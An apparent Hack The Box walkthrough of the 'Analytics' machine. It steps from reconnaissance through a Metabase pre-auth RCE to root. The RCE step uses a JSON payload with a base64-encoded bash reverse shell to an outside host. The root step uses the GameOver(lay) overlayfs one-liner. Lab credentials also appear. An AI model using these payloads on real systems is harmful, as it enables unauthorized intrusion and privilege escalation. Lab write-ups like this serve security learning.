Analytics

Nmap Scan

We start by scanning the target host using Nmap to see which ports are open and what services are running. The scan results show the following:

Enumeration

Since we want to access the website, we need to add the host to our /etc/hosts file, which links the IP address to the domain name analytical.htb.

Login Page

When we try to access the website, we are redirected to a login page (see Screenshot 2). We can’t get in without logging in.

We can’t access the page directly, so we need to add the hostname to our /etc/hosts file. This will ensure that the name analytical.htb points to the right IP address.

Inspecting the Login Page

After adding the hostname to our /etc/hosts, we can visit the login page (see Screenshot 3). On login pages like this, we typically use Burp Suite to inspect the HTTP headers and gather more information about how the login request is handled.

Using Burp Suite

Now, we send a request to the login page and check the headers (see Screenshot 4). Burp Suite shows us useful details like cookies and other information that might help us move forward with the attack. For example, we see a metabase cookie in the headers, which could be important.

Now, we send a request to the login page and check the headers (see Screenshot 4). Burp Suite shows us useful details like cookies and other information that might help us move forward with the attack. For example, we see a metabase cookie in the headers, which could be important.

We also have to make to header: one for the metabase page and one for the homepage.

But if we see the response for both than we see an nginx server runnen, which is the same for both.

Checking for TTL Differences

We check if there are any differences by looking at the TTL (Time to Live) values, which can give us clues about firewalls. But there is none:

Exploring Known Exploits for Metabase Login Page

Next, we look for known exploits for the Metabase login page to see if we can find a way to exploit the system.

Verifying the Version

To verify that our version matches the one in the exploit, we can run the following command to check the version of the Metabase service:

curl data.analytical.htb | grep version

Output (PHP):

"version":{"date":"2023-06-29

This output shows that the version we are dealing with matches the one the exploit targets, as the exploit was made after the version we found.

The exploit for this vulnerability is available in Metasploit, but since we want to learn and not just use a script, we won’t run it. However, if you were on a time-limited job, you could simply run the script to quickly exploit the system.

This is the guide we need, they made the exploit I think.

This is the thing we are looking for.

We search for the token, which can be used to execute commands.

We now use the setup key to execute code.

Copy this code:

We need to make a few modifications:

• Change the method

• Update the token

• Adjust the site and port.

We also set up a Netcat listener to catch the response and see the headers.

nc -lvnp 8080

And we get some header information back.

we use this payload:

"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",

"advanced-options": false,

"ssl": true

we have to replace the payload.

Since we don't want any bad characters we will have to change this.

Note: Could not find the screenshot for the correct payload, but you have to play around with spaces to get the right payload without bad characters.

When we run the payload we have a shell:

now we go to the database.

I can try a shell upgrade, but neither script nor python are installed. This smells like a container.

When we check the environment variables, we see this:

And we see to creds:

• Username: metalytics

• Password: An4lytics_ds20223#

SSH

We will try and ssh in to the box:

Root

Now we have the user, we will try and get root.

The nginx configuration directory shows two site configurations:

analytical has the web root in /var/www/site, and also has the check against the Host header ($host) to redirect if it isn’t analytical.htb:

```sh

server {

listen 80;

listen [::]:80;

root /var/www/site;

index index.html;

server_name analytical.htb;

if ($host != analytical.htb) {

rewrite ^ http://analytical.htb/;

}

location / {

try_files $uri $uri/ =404;

}

}

```

data.analytical.htb is configured to match on that host name (server_name) and to pass everything to localhost:3000 (which I can conclude must be a pass through to the Metabase Docker container):

```json

server {

listen 80;

server_name data.analytical.htb;

location / {

proxy_pass http://localhost:3000;

proxy_http_version 1.1;

proxy_set_header Host $host;

proxy_set_header X-Real-IP $remote_addr;

}

}

The web root in /var/www/site show that it’s just a static page as I guessed:

i wandered around to see if there where processes but there where nonething interesting.

Last Resort

The kernel is always last resort so I tried:

uname -a

cat /etc/os-release

GameOver(lay)

quick google search:

we see enough to test, so we test.

This was a very trendy bug in the information security newcycle in late July 2023, just before Analytics was submitted to HTB on 10 August and released on 7 October.

to dive deeper into the analysis you can see this post:

https://jvns.ca/blog/2019/11/18/how-containers-work--overlayfs/

The exploit for Gameover(lay) is surprisingly short, some joking that it “fits in a tweet”

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;

setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

as easy as this

metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;

setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

uid=0(root) gid=1000(metalytics) groups=1000(metalytics)

but this only returns the id command and we are not really root

so we replace id with bash

And that was the box, thank you for reading!